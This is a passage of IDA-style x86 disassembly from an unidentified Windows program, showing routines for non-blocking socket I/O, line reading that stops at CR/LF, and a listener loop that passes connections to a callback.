		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AA24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jz	short loc_41A9AF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AA24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A9BC


loc_41A9AF:				; CODE XREF: sub_41A8C0+BCj
		call	sub_40195B
		test	al, al
		jnz	loc_41A91B


loc_41A9BC:				; CODE XREF: sub_41A8C0+39j
					; sub_41A8C0+48j ...
		call	sub_40195B
		test	al, al
		jz	short loc_41AA24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AB615Ah
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41A9F1
		mov	[ecx], eax


loc_41A9F1:				; CODE XREF: sub_41A8C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AA09
		test	eax, eax
		jz	short loc_41AA09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA09:				; CODE XREF: sub_41A8C0+134j
					; sub_41A8C0+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA24:				; CODE XREF: sub_41A8C0+13j
					; sub_41A8C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AAA0:				; CODE XREF: ___:00401618j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41AAF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41AAD2
		mov	[ecx], eax


loc_41AAD2:				; CODE XREF: ___:0041AACEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAE0
		test	eax, eax
		jz	short loc_41AAE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAE0:				; CODE XREF: ___:0041AAD5j
					; ___:0041AAD9j
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAF1:				; CODE XREF: ___:0041AAA9j
					; ___:0041AAB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AB20:				; CODE XREF: ___:004019B0j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AB3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB3C:				; CODE XREF: ___:0041AB32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AB52


loc_41AB48:				; CODE XREF: ___:0041AB8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB52:				; CODE XREF: ___:0041AB46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ABB6
		mov	edi, ebp


loc_41AB6B:				; CODE XREF: ___:0041ABB4j
		cmp	edi, ebx
		jz	short loc_41ABB6
		cmp	[esp+18h], bl
		jz	short loc_41ABB6
		call	sub_40195B
		test	al, al
		jz	short loc_41ABB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AB48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ABA1
		cmp	al, 0Dh
		jz	short loc_41ABA1
		cmp	al, bl
		jnz	short loc_41ABA9


loc_41ABA1:				; CODE XREF: ___:0041AB97j
					; ___:0041AB9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ABA9:				; CODE XREF: ___:0041AB9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AB6B


loc_41ABB6:				; CODE XREF: ___:0041AB67j
					; ___:0041AB6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC00:				; CODE XREF: ___:00402180j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AC1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC1C:				; CODE XREF: ___:0041AC12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC32


loc_41AC28:				; CODE XREF: ___:0041AC6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC32:				; CODE XREF: ___:0041AC26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AC9D
		mov	edi, ebp


loc_41AC4B:				; CODE XREF: ___:0041AC9Bj
		cmp	edi, ebx
		jz	short loc_41AC9D
		cmp	[esp+18h], bl
		jz	short loc_41AC9D
		call	sub_40195B
		test	al, al
		jz	short loc_41AC9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AC28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AC7D
		cmp	al, bl
		jnz	short loc_41AC90


loc_41AC7D:				; CODE XREF: ___:0041AC77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AC8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------


loc_41AC8A:				; CODE XREF: ___:0041AC82j
		mov	[edi], bl


loc_41AC8C:				; CODE XREF: ___:0041AC88j
		mov	[esp+18h], bl


loc_41AC90:				; CODE XREF: ___:0041AC7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC4B


loc_41AC9D:				; CODE XREF: ___:0041AC47j
					; ___:0041AC4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ACE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41ACF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ACF2:				; CODE XREF: ___:0041ACEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD03:				; CODE XREF: ___:0041ACFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB951Eh
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AD30	proc near		; CODE XREF: sub_401893j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41AD42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD42:				; CODE XREF: sub_41AD30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD53:				; CODE XREF: sub_41AD30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC0B50h
		pop	esi
		retn	8
sub_41AD30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD80:				; CODE XREF: ___:00401C3Fj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41ADBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ADB5
		cmp	[esi+80Bh], cl
		jz	short loc_41ADB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADB5:				; CODE XREF: ___:0041AD9Ej
					; ___:0041ADA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADBF:				; CODE XREF: ___:0041AD99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41ADF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADF5:				; CODE XREF: ___:0041ADE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE50:				; CODE XREF: ___:004016E5j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AE6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE6D:				; CODE XREF: ___:0041AE61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AEA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEA9:				; CODE XREF: ___:0041AE9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AEF0:				; CODE XREF: ___:0040173Aj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		call	near ptr 77C47A90h
		nop
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AF60	proc near		; CODE XREF: sub_4018BBj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41AF90
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41AF90:				; CODE XREF: sub_41AF60+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		nop
		call	near ptr 71AB4519h
		retn	4
sub_41AF60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C0
		mov	eax, esi
		pop	esi
		retn
sub_41AFE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B010	proc near		; CODE XREF: ___:00401915j sub_401E74j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40186B
		test	[esp+4+arg_0], 1
		jz	short loc_41B028
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B028:				; CODE XREF: sub_41B010+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B040	proc near		; CODE XREF: sub_40186Bj
		mov	dword ptr [ecx], offset	off_43E0C0
		add	ecx, 4
		jmp	sub_401FC8
sub_41B040	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_401636j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40195B
		test	al, al
		jnz	short loc_41B072
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B072:				; CODE XREF: sub_41B060+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B0C5
		push	esi
		nop
		call	near ptr 71AB4FD4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B097
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B097:				; CODE XREF: sub_41B060+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B0AC


loc_41B0A1:				; CODE XREF: sub_41B060+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B0A1


loc_41B0AC:				; CODE XREF: sub_41B060+3Fj
		call	sub_401EEC
		dec	esi
		push	esi
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B0C5:				; CODE XREF: sub_41B060+20j
		pop	edi
		pop	esi
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B0F0:				; CODE XREF: ___:00402095j
		push	0FFFFFFFFh
		push	offset loc_43AD07
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40195B
		test	al, al
		jnz	short loc_41B12F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401861
		jmp	loc_41B2DB
; ---------------------------------------------------------------------------


loc_41B12F:				; CODE XREF: ___:0041B118j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401861
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017E4
		test	eax, eax
		push	offset byte_446F70
		jnz	short loc_41B16C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B16C:				; CODE XREF: ___:0041B156j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_446F70
		jnz	short loc_41B192
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B192:				; CODE XREF: ___:0041B17Cj
		lea	ecx, [esp+18h]
		call	sub_401861
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017E4
		push	eax
		call	sub_436FC6
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B1D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+0Ch], edi
		jmp	loc_41B2C0
; ---------------------------------------------------------------------------


loc_41B1D6:				; CODE XREF: ___:0041B1BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_443DD4
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B1E4:				; CODE XREF: ___:0041B202j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B208
		cmp	cl, bl
		jz	short loc_41B204
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B208
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B1E4


loc_41B204:				; CODE XREF: ___:0041B1EEj
		xor	eax, eax
		jmp	short loc_41B20D
; ---------------------------------------------------------------------------


loc_41B208:				; CODE XREF: ___:0041B1EAj
					; ___:0041B1F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B20D:				; CODE XREF: ___:0041B206j
		cmp	eax, ebx
		jz	short loc_41B27B
		push	ebp


loc_41B212:				; CODE XREF: ___:0041B265j
					; ___:0041B269j
		nop
		call	near ptr 27D07CDh
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B226
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B26B


loc_41B226:				; CODE XREF: ___:0041B21Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B232
		mov	edi, ebp


loc_41B232:				; CODE XREF: ___:0041B22Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_443DD4


loc_41B23A:				; CODE XREF: ___:0041B258j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B25E
		cmp	cl, bl
		jz	short loc_41B25A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B25E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B23A


loc_41B25A:				; CODE XREF: ___:0041B244j
		xor	eax, eax
		jmp	short loc_41B263
; ---------------------------------------------------------------------------


loc_41B25E:				; CODE XREF: ___:0041B240j
					; ___:0041B24Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B263:				; CODE XREF: ___:0041B25Cj
		cmp	eax, ebx
		jnz	short loc_41B212
		mov	edi, ebp
		jmp	short loc_41B212
; ---------------------------------------------------------------------------


loc_41B26B:				; CODE XREF: ___:0041B224j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015D7
		pop	ebp
		jmp	short loc_41B288
; ---------------------------------------------------------------------------


loc_41B27B:				; CODE XREF: ___:0041B20Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015D7


loc_41B288:				; CODE XREF: ___:0041B279j
		push	offset byte_446F70
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B2A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015D7


loc_41B2A8:				; CODE XREF: ___:0041B298j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	dword ptr [esp+0Ch], 1


loc_41B2C0:				; CODE XREF: ___:0041B1D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B2CE:				; CODE XREF: ___:0041B167j
					; ___:0041B18Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B2DB:				; CODE XREF: ___:0041B12Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B390:				; CODE XREF: ___:00402135j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B3D0	proc near		; CODE XREF: sub_4013FCj ___:00402018j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BCC
		test	[esp+4+arg_0], 1
		jz	short loc_41B3E8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B3E8:				; CODE XREF: sub_41B3D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B3D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B400	proc near		; CODE XREF: sub_401BCCj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FC8
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B400	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B470:				; CODE XREF: ___:00401D3Ej
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43E0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4B0	proc near		; CODE XREF: sub_40167Cj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B5C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B5C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401488
		mov	ebp, dword_50F8D0
		test	al, al
		jnz	short loc_41B513


loc_41B4E9:				; CODE XREF: sub_41B4B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF
		mov	al, byte_4E6E84
		test	al, al
		jz	short loc_41B513
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401488
		test	al, al
		jz	short loc_41B4E9


loc_41B513:				; CODE XREF: sub_41B4B0+37j
					; sub_41B4B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF


loc_41B51E:				; CODE XREF: sub_41B4B0+F9j
		mov	al, byte_4E6E84
		test	al, al
		jz	loc_41B5AF
		test	esi, esi
		jnz	short loc_41B54E
		push	80Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B54A
		push	esi
		mov	ecx, eax
		call	sub_401C35
		jmp	short loc_41B54C
; ---------------------------------------------------------------------------


loc_41B54A:				; CODE XREF: sub_41B4B0+8Ej
		xor	eax, eax


loc_41B54C:				; CODE XREF: sub_41B4B0+98j
		mov	esi, eax


loc_41B54E:				; CODE XREF: sub_41B4B0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B81
		test	al, al
		jnz	short loc_41B567
		push	7D0h
		call	ebp
		jmp	short loc_41B5A4
; ---------------------------------------------------------------------------


loc_41B567:				; CODE XREF: sub_41B4B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_401893
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B5A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B5A4:				; CODE XREF: sub_41B4B0+B5j
					; sub_41B4B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B51E


loc_41B5AF:				; CODE XREF: sub_41B4B0+3Ej
					; sub_41B4B0+68j ...
		mov	ecx, ebx
		call	sub_4014DD
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B5C0:				; CODE XREF: sub_41B4B0+Bj
					; sub_41B4B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B4B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B620:				; CODE XREF: ___:00401C21j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B695
		mov	esi, ebp


loc_41B63F:				; CODE XREF: ___:0041B693j
		cmp	esi, ebx
		jz	short loc_41B695
		cmp	[esp+18h], bl
		jz	short loc_41B695
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		cmp	eax, ebx
		jz	short loc_41B6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B6A4
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_41B69D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B680
		cmp	al, 0Dh
		jz	short loc_41B680
		cmp	al, bl
		jnz	short loc_41B688


loc_41B680:				; CODE XREF: ___:0041B676j
					; ___:0041B67Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B688:				; CODE XREF: ___:0041B67Ej
